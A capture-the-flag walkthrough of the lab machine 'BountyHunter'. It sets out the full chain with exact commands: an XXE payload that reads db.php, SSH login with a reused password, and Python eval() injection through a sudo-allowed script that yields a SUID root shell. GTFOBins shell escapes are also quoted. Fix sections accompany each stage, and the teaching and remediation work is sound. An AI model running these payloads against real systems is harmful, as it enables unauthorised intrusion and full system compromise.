← all walkthroughs

BountyHunter

Linux· Easy
owned
2026-06-29
time to own
2m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I exploited an XML External Entity injection vulnerability in a web-based bug-bounty submission form to force the server's PHP XML parser to read an internal source file via a PHP stream filter. The plaintext database password recovered from that file was reused verbatim as the SSH password for the 'development' OS account, granting an interactive shell.

Post-login enumeration revealed a NOPASSWD sudo rule permitting 'development' to run a Python ticket-validation script as root; that script passed my own ticket data directly into Python's eval(), enabling trivial command injection that yielded full root access.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1ReconWeb application enumeration / directory brute-force
Identified the web bug-bounty tracker and its hidden XML-parsing endpoint
I enumerated the web application and discovered a bug-bounty submission form that POSTed base64-encoded XML to a PHP script at a non-obvious path. The form's behaviour — base64-wrapping a structured XML document in a single POST parameter — indicated server-side XML parsing, making it a candidate for XXE injection.
Exact commands 2
Discover PHP endpoints; reveals tracker_diRbPr00f314.php.
gobuster dir -u http://$TARGET/ -w /usr/share/wordlists/dirb/common.txt -x php,html
Probe the endpoint to confirm it accepts and processes base64-encoded POST data.
curl -s -X POST http://$TARGET/tracker_diRbPr00f314.php --data 'data=dGVzdA==' -v
2ExploitationXML External Entity Injection (CWE-611) via PHP stream wrapper
Injected an XXE payload to read the server's database configuration file
The PHP XML parser processed external entity declarations without restriction. I declared a DOCTYPE entity pointing to 'php://filter/convert.base64-encode/resource=/var/www/html/db.php' so the parser opened the local file, base64-encoded it, and reflected the contents back inside the API response — leaking full PHP source with no authentication required.
POST to tracker_diRbPr00f314.php with DOCTYPE declaring SYSTEM entity targeting php://filter; response body contained base64-encoded contents of db.php.
Exact commands 2
Send XXE payload; the title field in the response contains the base64-encoded db.php source.
python3 -c "
import base64, requests
url='http://$TARGET/tracker_diRbPr00f314.php'
xml='<?xml version=\"1.0\" encoding=\"ISO-8859-1\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"php://filter/convert.base64-encode/resource=/var/www/html/db.php\">]><bugreport><title>&xxe;</title><cwe>79</cwe><cvss>1</cvss><reward>1</reward></bugreport>'
r=requests.post(url,data={'data':base64.b64encode(xml.encode()).decode()})
print(r.text)
"
Decode the leaked file to reveal plaintext PHP including the hardcoded database password.
echo '<base64-blob-from-response>' | base64 -d
FixDisable XML External Entity processing in the bug-bounty trackerCritical
WeaknessThe PHP XML parser processed externally supplied XML documents with external entity resolution fully enabled. Any user could declare a SYSTEM entity pointing to a local file path or PHP stream wrapper (such as php://filter), causing the server to read and return arbitrary files from its own filesystem with no authentication.
FixIn PHP, call libxml_disable_entity_loader(true) before invoking SimpleXML or DOMDocument, and pass LIBXML_NONET | LIBXML_NOENT flags to suppress entity expansion. Validate the structure of incoming XML against a strict server-side schema (XSD) that rejects DOCTYPE declarations entirely. For new development, replace the XML-over-HTTP interface with a JSON API, which has no entity concept. Re-audit any other endpoint that accepts XML input.
3Credential AccessHardcoded credential exposure / credential reuse
Recovered the cleartext database password and discovered it unlocks SSH
Db.php contained the database password '[REDACTED: recovered credential]' hardcoded in plaintext. That same string was set as the SSH password for the 'development' Linux account — meaning one leaked config file immediately yielded an authenticated system login, with no cracking or further exploitation needed.
Db.php: $dbpassword = '[REDACTED: recovered credential]'; SSH authenticated with this value for user 'development' on port 22.
Exact commands 1
Confirm the DB password authenticates as the 'development' OS account; expect uid=1000.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null development@$TARGET id
FixEliminate hardcoded credentials and password reuse between application config and OS accountsCritical
WeaknessThe database password was stored in plaintext inside a PHP source file (db.php) and was identical to the SSH password for the 'development' Linux account. Leaking the config file through any file-read vulnerability — XXE, path traversal, backup exposure — immediately yielded authenticated OS access.
FixRotate the 'development' account SSH password immediately to a unique, randomly generated value. Move all application secrets out of source files and into environment variables or a secrets manager (e.g., HashiCorp Vault, AWS Secrets Manager). Enforce a policy that no credential may appear in more than one context; use a password manager and unique credentials per service. Scan the codebase and web root for additional hardcoded secrets using tools such as truffleHog or gitleaks.
4FootholdValid account — SSH remote login
Logged in via SSH as 'development' and captured the user flag
With valid credentials I established an interactive SSH session, confirmed the account context, and read the user flag. Running 'sudo -l' immediately revealed the next escalation path.
Uid=1000(development) gid=1000(development); /home/development/user.txt readable by group 'development'.
Exact commands 3
Open interactive SSH session as 'development'.
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null development@$TARGET
Read user flag -> <user.txt>.
cat /home/development/user.txt
List sudo privileges; reveals the NOPASSWD ticketValidator.py rule.
sudo -l
5EnumerationSudo policy enumeration / unsafe code review
Found a NOPASSWD sudo rule for a Python script that calls eval() on ticket input
'sudo -l' showed that 'development' could run '/usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py' as root with no password. Reading the script revealed it accepted a Markdown-formatted ticket file path from stdin, extracted the value after the 'Ticket Code:' marker, and passed it to Python's built-in eval() — directly executing whatever expression I placed in that field.
Sudo -l: (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Exact commands 2
Confirms NOPASSWD rule for ticketValidator.py.
sudo -l
Read the script; locate the line that calls eval() on the extracted ticket code string.
cat /opt/skytrain_inc/ticketValidator.py
6Privilege EscalationPython eval() code injection / sudo NOPASSWD GTFOBins abuse
Injected a Python os.system() call through eval() to execute commands as root
I crafted a Markdown ticket file whose 'Ticket Code' line embedded a Python expression that imports the os module and calls system() with a shell command. The expression was prefixed and suffixed with integers so eval() returned a valid number (satisfying any numeric check in the script) while executing arbitrary OS commands in the root context. The injected command copied /bin/bash to /tmp with the SUID bit, producing a persistent root shell.
Malicious ticket written to /tmp/root_ticket.md; sudo python3.8 ticketValidator.py processed it; /tmp/rootbash created with -rwsr-xr-x permissions owned by root.
Exact commands 4
Create the malicious ticket; numeric wrapper (11+...+200) satisfies eval return type; os.system() executes as root.
cat > /tmp/root_ticket.md <<'EOF'
# Skytrain Inc
## Ticket to Root
__Ticket Code:__
**11+__import__('os').system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')+200
EOF
Feed the ticket path to the validator running under sudo; eval() executes the injected payload as root.
printf '/tmp/root_ticket.md\n' | sudo /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
Launch SUID bash copy; -p preserves effective UID (root).
/tmp/rootbash -p
Read root flag -> <root.txt>.
cat /root/root.txt
FixRemove the NOPASSWD sudo rule for ticketValidator.py and eliminate eval() of user inputCritical
WeaknessTwo compounding flaws enabled instant root access: the 'development' account could invoke a Python interpreter as root with no password (NOPASSWD sudo), and the target script passed externally controlled text from a ticket file directly into Python's eval() — giving any user who can write a file on the system unrestricted root-level code execution.
FixRemove the NOPASSWD sudo entry for ticketValidator.py from /etc/sudoers immediately (visudo). Rewrite the ticket code parser to use int() or a strict regex (e.g., r'^\d+$') instead of eval(); never pass user-supplied strings to eval(), exec(), or compile(). If elevated privileges are genuinely required for ticket validation, run the script as a dedicated low-privilege service account with only the specific file-system permissions it needs, not as root. Audit every sudo rule across all accounts with 'sudo -l -U <user>' and remove any rule that permits execution of a language interpreter or a script that accepts user-controlled input.

Attack patterns used

The transferable techniques behind this compromise.

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more